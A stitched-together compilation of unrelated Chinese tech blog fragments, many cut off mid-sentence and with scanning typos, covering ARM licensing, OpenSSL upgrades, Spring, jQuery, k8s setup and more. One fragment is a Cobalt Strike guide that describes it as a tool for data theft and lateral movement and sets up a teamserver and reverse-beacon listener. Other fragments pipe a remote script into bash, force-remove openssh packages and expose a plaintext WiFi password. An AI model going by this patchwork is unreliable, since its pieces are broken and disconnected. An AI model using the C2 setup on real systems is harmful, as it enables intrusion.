微架构(Microarchitecture),也就是处理器架构。集成电路工程师在设计处理器时,会按照指令集规定的指令,设计具体的译码和运算电路来支持这些指令的运行;指令集在CPU处理器内部的具体硬件电路的实现,我们就称为微架构,一套相同的指令集,可以由不同形式的电路实现,可以有不同的微架构。在设计一个微架构时,一般需要考虑很多问题:处理器是否支持分支预测,单发射还是多发射,顺序执行还是乱序执行?流水线需要多少级?主频需要多高?Cache需要多大?需要几级Cache?根据不同的配置选项,我们可以基于一套指令集设计出不同的微架构。以ARMV7指令集为例,基于该套指令集,面向高性能、低功耗等不同的币场定位,ARM公司设计出了CoItex-A7、Cortex-A8、CortexA9、Co1texˉA15、CortexˉAl7等不同的微架构。
三、芯片(SOC): 芯片:芯片指Soc,也就是指片上系统,它主要是由内核和其他的外设模块封装在一起构成的,我们经常说的stm32就是属于芯片这一层面的概念。
基于一款相同的微架构,通过不同的配置也可以设计出不同的处理器类型。不同的SoC厂商,获得ARM公司的CoItex-A9微架构授权后,基于该内核集成不同的IP,就可以搭建出不同的SoC芯片,并最终流向市场,如三星公司的Exynos44l2处理器、瑞芯微公司的RK3188处理器都采用了Cortcx-A9内核。
四、arm的授权方式: 1、指令集/架构授权
第三方公司获取arm的架构授权后,可以自己去使用ram公司的指令集去进行芯片的设计,但是arm公司的授权管理非常严格,他允许他的合作伙伴参与制定指令集,但是不允许他们私底下修改,现在国内华为海思就是基于armV8指令集开发的,华为海思获取了armv8 架构的永久授权
2、内核授权
是指arm公司把内核的核心电路图,把它的内核测试方法和测试程序提供给第三方公司,第三方公司获取到内核到内核授权之后,基本上可以找工厂流片生产内核了,我们很多熟悉的半导体公司,都是获取了内核授权,比如st,nxp,ti,
3、使用授权
是授权等级最低的一种,主要是针对cpu设计能力比较弱的公司,获取使用授权,公司只能是使用已经封装生产好的内核,不能自己独立生产,国内很多小的生产厂商获取的就是arm的使用授权。
做个很形象的比喻:假设我写了一篇入党申请书的文件模板,我告诉甲,你可以拿去修改模块(修改文件结构),添加自己的内容后使用,便是架构层级授权,我告诉乙,你要保证文件模板的结构不变,但是你可以加三级及以下的标题及内容,便是内核级授权,我告诉丙,你只能对我的文章进行转发,不能更改,不能添油加醋,便是使用层级授权。
五、armV8指令集的开发生态 原文链接:https://blog.csdn.net/zhuimeng_ruili/article/details/121109153
网上很多升级openssl的方法都要编辑ld.so.conf相关,我自己试了很多次,不行,会把机器搞死。弄得yum报缺模块错误,并且网卡起不来。终于最后试出了一套能用的方法。在银河麒麟v10上测试通过,其他系统可参考。
查看OpenSSL版本
openssl version
解压源代码包,并进入OpenSSL目录
tar zxvf openssl-1.1.1v.tar.gz
进行预编译
./config --prefix=/usr/local/openssl shared enable-ssl3 enable-ssl3-method no-zlib
编译OpenSSL
make 测试
Make test
All tests successful.
Files=159, Tests=2654, 148 wallclock secs ( 2.81 usr 0.71 sys + 128.55 cusr 27.47 csys = 159.54 CPU)
Result: PASS
make[1]: Leaving directory '/root/openssl-1.1.1v'
安装
make install
配置环境变量
vim /etc/profile
export PATH=/usr/local/openssl/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/openssl/lib:$LD_LIBRARY_PATH
验证:
openssl version
OpenSSL 1.1.1v 1 Aug 2023
openssh升级
上传openssh9.3p2安装包编译升级
删除旧的openssh
rpm -e --nodeps `rpm -qa | grep openssh`
板卡ubuntu18.04系统没有桌面,因此必须使用命令终端连接WIFI。首先修改软件源(见软件源);具体连接方法如下:
修改软件源(此处为中科大Arm架构Ubuntu源),否则可能不能下载相应软件。并更新软件源 sudo apt update打开RF-kill:sudo apt install rfkill -y && sudo rfkill list all && sudo rfkill unblock wifi启动usb网卡模块:sudo ip link set wlx08beac2f6c05 up安装网络管理工具:sudo apt install network-manager -ynetwork manager 服务 打开: sudo service network-manager start终端连接网络:sudo nmcli dev wifi connect TianYi-office password tiAnyI0725 wep-key-type key ifname wlx08beac2f6c05 网络名称:TianYi-officeWiFi密码:tiAnyI0725USB网卡名称(通过ifconfig -a 即可获取):wlx08beac2f6c05 软件源:
deb http://mirrors.ustc.edu.cn/ubuntu-ports/ xenial main restricted universe multiverse deb-src http://mirrors.ustc.edu.cn/ubuntu-ports/ xenial main restricted universe multiverse deb http://mirrors.ustc.edu.cn/ubuntu-ports/ xenial-updates main restricted universe multiverse deb-src http://mirrors.
一.问题说明 springboot的项目,多数据源,其中一个数据源是达梦数据库。有个根据主键id查询详情的接口,一直报错网络通信异常,或连接尚未建立或者已经关闭。可以确保访问数据库的网络一切正常,单单一张表的接口一直报上述异常。
二.解决 一直以为是数据库或后台程序数据源配置问题,最后通过达梦jdbc日志,发现sql的param是setNull,也就是sql没有获得到id这个参数,前端传参格式有误,后台接收不到,但是达梦报错却是网络异常。
解决过程中的尝试:JAVA | 达梦技术文档
根据达梦官方文档,一条条查询是否有问题。最后发现都没有问题,于是就开启JDBC日志,查看sql异常详情。
达梦开启JDBC日志:
#springboot数据源配置,加上logLevel、logDir eg:jdbc:dm://127.0.0.1:5236?logLevel=all&logDir=/home/damengLog logLevel 表示日志级别,日志按从低到高依次如下: off:不记录 error:只记录错误日志 warn:记录警告信息 sql:记录 sql 执行信息 info:记录全部执行信息 all:记录全部 高级别同时记录低级别的信息。 logDir 表示存放 JDBC 日志的路径,可以是相对路径也可以是绝对路径。 在JDBC日志中发现查询表的sql,id设值不正常是setnull,查询前端传参后,发现参数都是json字符串,而后台是对象接收的,导致id是null。发现问题原因就好处理了,将前端改好后,打包发布下就正常了。由于达梦异常提示“网络通信异常”,就没想过前端传参有问题,误认为是数据库或是数据源配置问题。
总结
这里就想吐槽下,达梦的异常是真的让人不知所云,还有表字段长度不够,提示的是“dm.jdbc.driver.DMException: 字符串截断”,难道就不能直接日志输出哪个字段不够长。希望国产数据库优化下使用体验,达梦管理工具也是难用的一比,过滤查询不人性化,数据导出也不好用。连接数据库还是得用dataGrip ,至少查询导出方便且效率高。
这一篇记录一下关于雷达采样率、采样时间和采样周期的相关知识,方便后面再用到的时候能够很快的找到。同时也希望能帮助到大家一点。话不多说,进入主题。
本文主要学习三个东西采样率、采样时间和采样周期。分别对三者有一个大概的描述,最后会通过一个例子便于大家的理解。
采样率: 采样率又可以叫做采样速率或者采样频率,顾名思义就是每秒采集的次数。该值越高,单位时间内对信号的采集越多,采样率的单位可以用Hz或者sps表示(sps是采样率,是每秒采样点的数量,sp表示采样点数),一般1sps=1Hz。
采样周期: 采样周期就是两次相邻采样之间的时间间隔,也就是采样率的倒数
采样时间: 采样时间是采样点数和采样周期的乘积得到的结果。
例子: 假设实际采样率为5200ksps,采样点数为256,那么采样周期为1/5200(ms),那么ADC的采样时间就为256*(1/5200)(ms)。
简介 cobalt strike(简称CS)是一款团队作战渗透测试神器,分为客户端及服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端。
主要是用来后期持久渗透、横向移动、流量隐藏、数据窃取的工具。当已经在目标机器上执行了CS的payload,它会创建一个Beacon(远控木马功能)回连到C2服务器。
C/S框架
客户端(Client GuI):团队成员使用的图形化界面
服务器(Team Server):
控制:Team Server是Cobalt Strike中所有payload的主控制器,与victim的所有连接bind/reverse都由Team Server管理日志记录:Cobalt Strike中发生的所有事件保存在logs文件夹信息搜集:收集在后渗透阶段发现的、或攻击者在目标系统上用于登录的所有凭据credentials自定义脚本:cat teamserver可看到该文件是一个简单的bash脚本(可根据自己要求修改)调用Metasploit RPC服务msfrped并启动服务器cobaltstrike.jar 安装 下载地址:Cobalt Strike4.0中文版下载 渗透利器CobaltStrike 4.0 免费汉化版(含原版+补丁) 下载-脚本之家
下载后解压,将有修改中文版拖入kali虚拟机中 在终端打开该文件夹 为"agscript"、“c2lint”、"peclone"和"teamserver"文件赋予执行权限。
chmod +x agscript
chmod +x c2lint
chmod +x peclone
chmod +x teamserver
ls -l查看一下权限
启动服务端 ./teamserver 192.168.47.129 123456
#192.168.47.129 电脑的ip地址/如果是云主机就填公网ip,123456是密码
报错的话,在前面加上sudo命令 启动客户端 windows本机打开cs原版文件夹 start.bat
弹出一个窗口,输入host为kali ip,端口默认50050、user默认
密码是前面自己设置的,123456
connect后连接成功,弹出以下界面
简单使用 Listenrs功能
作用:一个监听器既是一个payload的配置信息,同时又是Cobalt Strike起一个服务器来接收来自这个payload 的连接的指示。
开始操作,选择Listener监听器
点击add添加监听器
name输入监听器名称(随意)
payload选择默认的http反弹方式
host选择前面使用到的kali ip
port随便填一个没有在使用的83
点击save保存
Listener添加成功
可以看到kali虚拟机中服务端已经开始监听
大家好,这里是Dennis的AI说,上一期是教大家如何注册一个账号,那么今天的教程教是教会大家如何在Midjourney上购买套餐以及后续的退订步骤。
Midjourney里购买套餐主要是针对于后续的做图时间速度,不同套餐生成图片的速度是不一样的。
如何在Midjourney里正确的订阅管理套餐呢?跟着Dennis做,不花冤枉钱!
1、订阅套餐简介 Midjourney 具有三个订阅级别 分别是基本,标准,pro 版本。如果按月或全年支付可以便宜 20%具体详细差异介绍可以看以下表格
2、如何订阅套餐 2.1、订阅方式 方式一:使用/subscribe命令生成指向订阅页面的个人链接。然后根据链接指引一步步进行付费。 ⚠不要分享你的链接(生成的链接对于每个帐户都是唯一的,切勿与他人共享!)
方式二:转到Midjourney.com/account方式三:在登录到 Midjourney 网站时从边栏中选择Manage Sub。 2.2 、支付方式 目前仅接受Stripe 支持的支付方式:由 Mastercard、VISA 或 American Express 等服务机构发行的信用卡或借记卡。
Stripe 是 PCI Service Provider Level 1,这是支付行业中最严格的认证级别。
Google Pay 和 Apple Pay 在某些地区可用。
不支持 PayPal、电汇和类似方法。
2.3、套餐推荐 会员的费用其实是在购买GPU的时间。Fast模式下基础会员3.3小时/月,标准会员15小时/月,Pro会员30小时/月,Relax模式下标准和Pro会员则是无限时间
作为初学者,推荐基础版的月付套餐(10美元/月),后面需求变更可以中途再升级套餐。
3、套餐关键词解释 3.1、什么是“Fast”模式? Midjourney有两种图像生成模式,“fast”和“relax”。
fast是最高优先级出图模式,会立即给你一个GPU,一个小时内可支持约60张图像生成命令,或200张图像变化命令(实验数据,不是标准数据)。
3.2、么是“Relax”模式? 排队出图模式,快慢视服务器拥挤而定(排队原则:根据使用系统的次数将你排在其他人之后)。启用命令:/relax(在使用relax模式时,图像生成不会消耗fast模式的时间)禁用命令:/fast(其实就是切换成fast模式) ⚠️:标准和专业版套餐才有relax模式,免费试用、基本套餐没有。”Max Upscale”在relax模式下也不可用。
3.3、什么是“社区画廊”? 画廊是一个付费会员可以查看平台上正在制作的图像的地方(除专业版套餐,用midjourney生成的图片都是对外公开在画廊的)
画廊作用:
可以在画廊中快捷寻找自己的历史作品,全都保存在在home中在communityfeed中,可以查看他人优秀作品的详情和关键词可以收藏喜欢的作品、关注你喜欢的作者等。 3.4、什么是“商业模式”? 可将图片应用于任何商业化场景
3.5、什么是“私密模式”? Midjourney 是一个默认开放的社区,所有图像生成都可以在Midjourney 网站上看到,包括在私人服务器、直接消息和 Midjourney 网络应用程序中创建的图像。
专业套餐可以访问隐身模式,生成的图像不会在 Midjourney 网站上公开。
切换命令
隐身模式:/stealth
The bean 'xxx' could not be injected because it is a JDK dynamic proxy 报错解决 具体报错信息分析原因解决办法@Resource和@Autowired区别 具体报错信息 分析原因 我仔细比较我其他的接口里为什么没有报错,发现我这里用的是 @Resource,而我其他地方用的是 @Autowired , 那么就是@Resource和@Autowired的区别导致的了,@Resource默认按byName注入,@Autowired默认按byType注入。这里不得不提到一个点,就是我的项目里是有一个BgConfigWarehouseMapper和一个BgConfigWarehouseExtMapper,@Resource根据bcConfigWarehouseMapper就找到BcConfigWarehouseMapper,发现和BcConfigWarehouseExtMapper类型对不上,就报了这样的错误,而@Autowire直接根据类型直接就找到了BcConfigWarehouseExtMapper。
@Resource private BcConfigWarehouseExtMapper bcConfigWarehouseMapper; @Autowired private BcConfigWarehouseExtMapper bcConfigWarehouseMapper; 解决办法 第一种办法就是改名称,改成和类同名首字母小写 @Resource private BcConfigWarehouseExtMapper bcConfigWarehouseExtMapper; 第二种办法就是@Resource中指定name或者type 1)指定name
@Resource(name = "bcConfigWarehouseExtMapper") private BcConfigWarehouseExtMapper bcConfigWarehouseMapper; 2)指定type
注意,下面这种方式还是会报错,那么我们已经指定了type为什么还是不行,因为@Resource默认还是先byName,只有当对应的名称不存在对应的bean或BeanDefinition时才会byType(即使你指定了type,也要把name改了)
@Resource(type = BcConfigWarehouseExtMapper.class) private BcConfigWarehouseExtMapper bcConfigWarehouseMapper; 改成一个匹配不到的name即可:
@Resource(type = BcConfigWarehouseExtMapper.class) private BcConfigWarehouseExtMapper bcConfigWarehouseMapper2; @Resource和@Autowired区别 @Autowired
由Spring提供,只按照byType注入
@Resource
由J2EE提供,默认按照byName自动注入
@Resource不设置任何值时,isDefaultName会为true,默认先走byName的形式,当对应字段名称的bean不存在时走byType;
只指定了type属性时,只有当对应的名称不存在对应的bean时,才会通过byType找到唯一的一个类型匹配的bean;
只指定了name属性,会根据指定的name来获取bean;
既指定了name属性,又指定了type属性,会先根据那么查找对应的bean,然后进行type类型比较
目录
一、Linux驱动调试方法
1.1、printk
1.2、查看OOP消息
1.3、利用strace
1.4、使用内核内置的hacking选项
1.5、利用ioctl方法
1.6、利用/proc 文件系统
1.7、使用kgdb
二、linux应用调试方法
2.1、'printf' 语句
2.2、strace
2.3、ltrace
2.4、Valgrind
2.5、GDB
三、Linux性能问题定位
3.1、基本流程
3.2、常用工具
一、Linux驱动调试方法 Linux驱动调试主要有以下几种方法:
1、利用printk。
2、查看OOP消息。
3、利用strace。
4、利用内核内置的hacking选项。
5、利用ioctl方法。
6、利用/proc 文件系统。
7、使用kgdb。
1.1、printk 这是驱动开发中最朴实无华,同时也是最常用和有效的手段。scull驱动的main.c第338行如下,就是使用printk进行调试的例子,这样的例子相信大家在阅读驱动源码时随处可见。
338 // printk(KERN_ALERT "wakeup by signal in process %d\n", current->pid); printk的功能与我们经常在应用程序中使用的printf是一样的,不同之处在于printk可以在打印字符串前面加上内核定义的宏,例如上面例子中的KERN_ALERT(注意:宏与字符串之间没有逗号)。
#define KERN_EMERG "<0>" #define KERN_ALERT "<1>" #define KERN_CRIT "<2>" #define KERN_ERR "<3>" #define KERN_WARNING "<4>" #define KERN_NOTICE "<5>" #define KERN_INFO "<6>" #define KERN_DEBUG "<7>" #define DEFAULT_CONSOLE_LOGLEVEL 7 这个宏是用来定义需要打印的字符串的级别。值越小,级别越高。内核中有个参数用来控制是否将printk打印的字符串输出到控制台(屏幕或者/sys/log/syslog日志文件) # cat /proc/sys/kernel/printk 6 4 1 7 第一个6表示级别高于(小于)6的消息才会被输出到控制台,
1.首次拉取git上的项目 这里以idea2020.1展示
1.首先在git上找到克隆链接
2.复制链接之后,回到idea,找到VCS->Get from Version Control,Clone就可以
2.拉取git更新后的项目 第一次拉取后,后面的更新拉取,VCS->Git->Pull即可
完成之后,可以看到右下角有Event Log
jQuery 提供了多种动画效果,可以让你在网页中添加平滑的过渡和动态效果。以下是一些常见的 jQuery 动画效果及其用法:
1. 隐藏和显示:
通过调用 .hide() 和 .show() 方法可以实现元素的渐隐和渐现效果。
$('#myElement').hide(); // 隐藏元素 $('#myElement').show(); // 显示元素 2. 淡入淡出:
通过 .fadeIn() 和 .fadeOut() 方法可以实现元素的淡入和淡出效果。
$('#myElement').fadeIn(); // 淡入元素 $('#myElement').fadeOut(); // 淡出元素 3. 滑动效果:
通过 .slideUp() 和 .slideDown() 方法可以实现元素的向上和向下滑动效果。
$('#myElement').slideUp(); // 向上滑动元素 $('#myElement').slideDown(); // 向下滑动元素 4. 滑动切换:
通过 .slideToggle() 方法可以在显示和隐藏之间切换元素的滑动效果。
$('#myElement').slideToggle(); // 切换元素的滑动效果 5. 淡入淡出切换:
通过 .fadeToggle() 方法可以在显示和隐藏之间切换元素的淡入淡出效果。
$('#myElement').fadeToggle(); // 切换元素的淡入淡出效果 6. 自定义动画:
使用 .animate() 方法可以创建自定义的动画效果,可以定义多个属性和持续时间。
$('#myElement').animate({ opacity: 0.5, width: '50%', marginLeft: '50px' }, 1000); // 自定义动画效果 这些示例展示了 jQuery 动画效果的一些常见用法。通过使用这些方法,你可以为网页添加流畅的过渡和动态效果,提升用户体验。然而,随着现代 Web 开发的发展,CSS 动画和过渡以及原生 JavaScript 也提供了更多强大的动画效果选项。
https://www.bilibili.com/video/BV1U7411t711/?spm_id_from=333.337.search-card.all.click&vd_source=12d5954938d20d50645e227a6a728c76
https://blog.csdn.net/eleanoryss/article/details/128305582
要获取自己的出口IP地址,可以通过以下几种方式:
使用搜索引擎:打开任意一个搜索引擎网站(例如Google、Bing等),并在搜索框中输入"我的IP地址"。搜索结果页面通常会显示你的出口IP地址。
使用网站服务:有一些网站提供显示访问者的IP地址的服务,你可以访问这些网站来获取你的出口IP地址。例如,你可以尝试访问"ip.cn"或"ipinfo.io"等网站,在网页上即可看到你的出口IP地址。
使用命令行工具:对于使用Windows操作系统的用户,可以打开命令提示符(按下Win键+R,输入"cmd"并按下回车),然后在命令提示符窗口中输入"ipconfig"命令。在显示的结果中,找到"IPv4 地址"或"Default Gateway"一栏,其中的数值就是你的出口IP地址。
对于使用Mac或Linux操作系统的用户,可以打开终端应用程序,并输入"curl ifconfig.me"或"curl icanhazip.com"命令。命令的执行结果将显示你的出口IP地址。
请注意,这些方法只会显示当前设备连接到互联网时的出口IP地址。如果你当前使用的是代理服务器或VPN,那么显示的IP地址将是代理服务器或VPN的地址,而不是你的真实出口IP地址。
PDM(产品数据管理)是指对产品开发过程中产生的各种数据进行有效管理和控制,以确保团队协作、版本管理、变更跟踪等方面的有效性。PDM的适用范围涵盖了多个领域和环节:
设计与开发阶段:PDM用于管理产品设计和开发阶段产生的各种数据,包括3D模型、2D图纸、设计规格、原型、测试数据等。PDM确保设计团队协同工作,避免数据重复。
版本控制:PDM系统管理不同版本的设计数据,确保团队成员可以访问正确的数据版本,避免误用或混淆。
变更管理:PDM支持变更请求的创建、审批和实施。这有助于团队追踪变更历史、了解变更的影响,以及确保变更的透明和控制。
文档管理:PDM系统可以用于管理与产品开发相关的各种文档,如技术说明书、操作手册、用户手册等。这确保了文档的版本一致性和易于访问。
供应链管理:PDM扩展到供应链环节,确保供应商可以访问正确的规格和设计数据,从而减少误解和生产问题。
质量控制与合规性:PDM可以关联产品设计数据与质量标准、行业法规等,有助于确保产品符合质量和法规要求。
知识管理:PDM系统存储有关产品的知识和经验,有助于组织内部的知识共享和传承。
可持续性和维护:PDM扩展到产品生命周期后期,支持维护和可持续性管理,确保准确的维护数据和历史记录。
跨部门协作:PDM促进了不同部门之间的协作,例如设计、工程、制造和销售部门之间的信息共享。
总之,PDM数据管理适用于产品开发生命周期中涉及的各个阶段和环节。它通过有效的数据管理和协作支持,提高了团队的生产效率、产品质量和合规性。
基于图嵌入的协同推荐系统群体托攻击检测方法
3.1 用户关系图的构建 3.1.1 计算用户在每个项目时间间隔内的评分松紧度 提取评分、用户、时间戳项目p的时间序列是指一组用户对项目p进行评分的时间顺序根据攻击组的时间集中特性,利用滑动时间窗将每个项目的时间序列划分为不同的区间。本文将滑动时间窗口的大小设置为30天。项目时间间隔内用户数量与项目时间序列内用户总数的比值越大,用户在时间间隔内的评分时间分布越密集。(Def1 项目时间间隔内的评分时间分布密度)此外,如果一个项目在项目时间间隔内拥有的不同等级数较少,则该时间间隔内的评分分布较为集中,这也反映了用户在该时间间隔内的集中程度。Def2 项目时间间隔内评分分布密度(不太理解以下公式)Def3 项目时间间隔内用户评分紧密程度:Def1*Def2 3.1.2 构建用户关系图的算法 这种用户间的社交图可以由用户偏好相关关系或明确的社交关系或隐式的用户相关关系来建立每个节点代表一个用户,每条边代表两个用户之间的关系。每条边都可以被赋予一个权重(有权图)来反映两个用户之间的关联强度。用户之间的关系可以根据评分数据库中用户的共评项、评级和评分时间戳来挖掘。Def4 用户关联度:用户u与v的关联度是指用户u与v在所属的所有项目时间区间内的最大评分紧密度加权无向图方法构造用户关系图,将用户作为节点,用户之间的关系作为边,用户之间的关联度作为边的权值 3.2 候选组生成 采用Node2vec模型学习用户关系图中节点的低维向量表示,得到用户特征矩阵使用kmeans++聚类算法获得候选组(通过限制每个组的大小来获得最终的候选组)阈值 3.3 攻击群检测 提出了两个指标来衡量群体托行为,并将其与另外两个现有指标结合,计算算法3得到的候选群体的可疑程度提出了一种基于分层聚类的攻击群体检测方法 四个指标
Def5 组评分偏差之和(SGRD)Def6 群组用户平均评分集中度(GUARC)Def7 时间窗可疑度平均值(MTWSD)Def8 组早期评分率(GERR) 群体可疑度 group suspicious degree (GSD)
文章目录 传送门题目大意题解参考代码 传送门 https://ac.nowcoder.com/acm/contest/62977/K
题目大意 给定一个 n × m n \times m n×m 的矩阵 G G G ,每个点有权值 G i , j G_{i,j} Gi,j,开始可以选择一个方向跳,每次跳跃只能跳到严格大于当前点权的位置。跳跃过程中总共可以转一次方向,求最多可以跳几次。
题解 不妨枚举它的转弯点和它的方向,
例如,从上方来到转弯点,
它可以选择往左或往右跳(或者往前跳,即放弃转弯机会)。
剩下的就是单向操作了,可以预处理。
问题转化为了如何处理一行或一列的最长单调 下降/上升 子序列。
对于这个问题,要求 n l o g n n logn nlogn 或 n n n \sqrt n nn 解决,考虑优化。
理想的,有一条优秀的序列,将它直接插入该序列中,查找比它小的个数就可以得到最大的解。
显然的,该序列是单调的,且需要有尽可能多的数,在满足单调性的同时,我们要使两两差尽可能小。
故每次维护只需要把一个大于或等于当前权值的数代替即可。如果大于顶部元素,直接加入即可。
对于这个问题,跑 8 8 8 次查询就可以维护好了。
参考代码 #include<bits/stdc++.h> using namespace std; const int N=1e6+5; int n,m,T; int st[N]; int ans; int main() { cin>>T; while(T--) { ans=0; scanf("
虚幻引擎的实时渲染概述(上) 1.介绍 实时渲染(Real-Time Rendering,RTR是指在计算机上快速生成图像的一个过程。它是计算机图形学中交互性最高的领域。
图像出现在屏幕上,观众做出反应,这种反馈会影响接下来生成的内容。这种反应和渲染的循环以足够快的速度发生,以至于观众看不到单帧图像,而是沉浸在动态过程中。
实时渲染在不渲染任何物体的时候能达到其最高性能
RTR流程的本质是管理性能损耗和画面质量的平衡
实时渲染流程 确定目标帧率专注于方案和工作流达到的目标帧率确保获得尽可能多的回报 注意事项 你无法让RTR变得完美你可以做的是找到三者之间完美的平衡 实现真实感非常复杂 所有环节要保证尽可能的高效需要严格的流程标准和限制将一部分工作分配到预先计算环节需要多种方案混合工作 CPU vs GPU CPU和GPU负责处理渲染的不同部分多数时候是同步的有可能成为对方的瓶颈需要知道工作负荷如何在两者间分配,才能采取对应措施 2.渲染前准备 上图CPU(游戏线程);DRAW(渲染线程);GPU线程,三个线程并行工作CPU先处理处理完后依次向下进行处理,而CPU处理新的帧。
第0帧-0毫秒-游戏进程(CPU) 在开始渲染前,我们需要知道参与渲染的物体在什么位置
游戏线程执行所有逻辑计算和物体的变换
动画模型和物体的位置物理AI生成或销毁,隐藏或显示 以及其它任何与物体位置变化相关的逻辑
第1帧-33毫秒-渲染进程(大部分在CPU) 至此,我们已经知道了各个物体处在什么位置
我们还需要知道哪些物体应该被渲染在画面中——>只渲染可见的内容
这部分的工作大部分也是在CPU上计算的,但也有一部分是在GPU上计算
遮挡过程——建立一个可见物体的列表(逐物体,而不是三角形)
分为以下4个步骤处理
距离剔除——根据物体与相机的距离决定是否剔除(默认为开启)视锥剔除——根据物体是否在视锥内决定是否剔除预计算可见性——将可见性结果提前计算好并储存下来遮挡剔除——性能消耗最大,在最后才执行 遮挡过程性能提示
设置距离剔除大于1万个物体会对性能有较大影响大部分情况下CPU是瓶颈,有时候也可能是GPU遮挡在大型开放世界通常作用比较小所有的物体都会被遮挡大的物体很难被遮挡,因此在GPU渲染上可能需要消耗更多的时间 3.几何体渲染 第2帧-66毫秒-GPU Prepass/Early Z Pass
GPU现在已经知道了需要渲染的物体的列表及其位置信息,但是如果直接渲染,会有一些像素重复绘制,造成非常大的浪费
因此我们需要找出哪些模型应该先被渲染
Early Z GPU驱动会在执行像素着色器前会检查该点深度,提前跳过不符合条件的像素
Drawcall
Drawcall是指渲染时在特定pass中采用的单一处理过程
通常可以理解为绘制拥有相同属性的一组多边形
Drawcall的含义就是CPU调用图像编程接口,以命令GPU进行渲染的操作。
不考虑auto instance,左边Drawcall为5 *2=10,右边Drawcall为6 *2=12
切换材质影响性能开销
在GPU渲染时,引擎会根据材质对物体进行排序,相同材质的会在一个批次里绘制
Drawcall对性能有非常大的影响每次GPU绘制完成后,需要从渲染线程拿新的指令,这里会有比较大性能的开销Drawcall数量对性能影响比三角形数量要大许多 通过start RHI命令查看运行统计数据
2000-3000:合理大于等于5000:略高大于等于10000:也许会有性能问题移动端在几百左右比较合适 Drawcall相关的性能提示 Drawcall数量相比多边形数量对性能的影响更大
引擎有一些Drawcall的基础开销
为了降低Drawcall,我们可以将模型进行合并,但也有副作用
遮挡检测性能更差计算碰撞性能更差占用更多内存 一个较为常用的技术称为Modular Meshes
也可以使用Instancing(只针对相同的模型,包括有不同的transform信息才会进行合并,如果是不同的模型但是是同一个材质还是要花费多个Drawcall)降低Drawcall
Level Of Detail(LOD)和HLOD,LOD可以降低模型的面数,HLOD可以动态的将几个物体的mesh合并成一个mesh,HLOD需要在离线的时候预先计算好
Shader Shader是一小段在GPU上执行计算的代码
根本原因是在新建Tomcat作为Windows服务时,系统默认设置的堆内存太小了,我们打开/bin/service.bat文件,将如下图所示的默认值改大一些就好了
if "%JvmMs%" == "" set JvmMs=512 if "%JvmMx%" == "" set JvmMx=2048 然后我们删除掉原来创建的Tomcat服务,重新创建依次Tomcat服务即可
service.bat remove Tomcat service.bat install Tomcat
/** * This sample code is an example of how to use the Business Objects APIs. * Because the sample code is designed for demonstration only, it is * unsupported. You are free to modify and distribute the sample code as needed. * *此示例代码是如何使用业务对象API的示例。 * *由于示例代码仅用于演示,因此 * *不受支持。您可以根据需要自由修改和分发示例代码。 */ package com.businessobjects.samples; import java.io.BufferedInputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.Collection; import java.util.Locale; import javax.servlet.ServletContext; import javax.servlet.http.HttpServletResponse; import com.crystaldecisions.sdk.occa.report.application.DataDefController; import com.
Javascript中引入模块有两种方式:
script 方式import 方式 下面就简单说下这两种引入方式。
无论那种引入,html都是必不可少的,所以首先我们要创建一个html文件,就叫index.html吧。然后再有两个js文件。
整体的目录的结构是这样的:
─Code └─js ├─module_a.js ├─module_b.js ├─index.html script 引入 这种基本不用多说,直接在index.html中:
<script type="text/javascript" src="./js/module_a.js"></script> <script type="text/javascript" src="./js/module_b.js"></script> 稀疏平常的模块化导入。
import 引入 主流浏览器发展到了现在,也基本支持了JavaScript高级语法的解析,其中就包括export和import。
要使用import的导入方式,需要在script标签上规定type为module
<script type="module"> import { module_a } from './js/module_a.js'; import { module_b } from './js/module_b.js'; </script> 当然了,别忘了在module_a.js | module_b.js文件中使用export导出这两个变量。
module_a.js
export const module_a = 'module a'; module_b.js同理,这里就不写了。
再进一步,分割线上面说的import的引入,还可以更加精简,还可以做一下路径映射importmap:
为了大家看的清楚,我写的全面一点
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>模块引入测试</title> </head> <body></body> <!-- 尤其注意,importmap 块中接受的是一个`JSON`,注意下 引号 和 分号 别写错了。--> <script type="
查看k8s的面板token kubectl describe secrets -n kube-system $(kubectl -n kube-system get secret | awk '/dashboard-admin/{print $1}') 1、docker安装 curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun 启动docker并设置开机自启动 systemctl enable docker && systemctl start docker systemctl daemon-reload systemctl restart docker systemctl status docker 设置加速 sudo vi /etc/docker/daemon.json { "registry-mirrors" : ["https://mj9kvemk.mirror.aliyuncs.com"] } 2、关闭交换分区 一、临时关闭 swapoff -a 二、永久关闭 注释掉/etc/fstab的配置文件中的swap那行
命令方式关闭
sed -i 's/.*swap.*/#&/' /etc/fstab 3、禁用selinux 一、临时关闭 setenforce 0 二、永久关闭 修改配置文件/etc/selinux/config中enforcing改成disabled,或者使用下面命令行修改
sed -i "
1.Linux内核版本和zabbix版本准备
Linux 内核为 CentOS8.1.1911 isos x86_64 镜像下载地址
http://mirror.nsc.liu.se/centos-store/8.1.1911/isos/x86_64/CentOS-8.1.1911-x86_64-dvd1.iso zabbix为6.0LTS版本
zabbix官网地址 和 我们安装的版本配置
https://www.zabbix.com/ 2.rpm包准备 下载rpm包
yumdownloader 要下载的名称 --resolve --destdir = 绝对路径 例如:yumdownloader kde-l10n-Chinese --resolve --destdir=/root/ch 需要的联系我
3.开始安装
1.将rpm包导入到自己的Linux主机上 ,再修改一下配置
vim /lib/tmpfiles.d/mdadm.conf vim /lib/tmpfiles.d/radvd.conf 删除/var setenforce 0 关闭防火墙 systemctl stop firewalld 2.进入.rpm包文件夹解压
rpm -ivh * --nodeps --force 3.设置mysql不区分表大小写
vim /etc/my.cnf.d/mysql-default-authentication-plugin.cnf vim /etc/my.cnf.d/mysql-server.cnf 在上面两个文件里面添加 lower_case_table_names=1 在/mysql-server.cnf 中添加sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION 4.重启吗mysql,进入
systemctl start mysqld 这里mysql默认没有密码直接root进入 mysql -uroot 5.查看大小写是否开启 (为1则为开启)
show variables like '%case_table%' 6.登入mysql创建数据库,用户
目录
一、独立按键使用
1.防抖设计
二、相关HAL库的配置
1.模式选择
2.HAL库的配置
三、代码编写
一、独立按键使用 1.防抖设计 最简单的防抖设计就是延迟,不过会产生一些问题,不建议这么做,优化办法在后面文章里会加入,此次实验还是利用延迟消抖。
